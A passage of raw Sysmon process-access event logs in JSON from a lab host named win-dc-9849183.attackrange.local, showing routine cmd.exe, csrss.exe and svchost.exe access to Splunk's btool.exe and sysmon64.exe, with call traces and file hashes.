AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-4078-5F2D-0000-0010C8FF0400}","ParentProcessId":"4788","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list kvstore --no-log","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3040,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-4078-5F2D-0000-0010C8FF0400}\r\nSourceProcessId: 4788\r\nSourceThreadId: 4784\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-001084000500}\r\nTargetProcessId: 4768\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-4078-5F2D-0000-0010C8FF0400}","SourceProcessId":"4788","SourceThreadId":"4784","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-001084000500}","TargetProcessId":"4768","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3041,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-001084000500}\r\nTargetProcessId: 4768\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-001084000500}","TargetProcessId":"4768","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3042,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3043,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3044,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3045,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3046,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3047,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3048,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 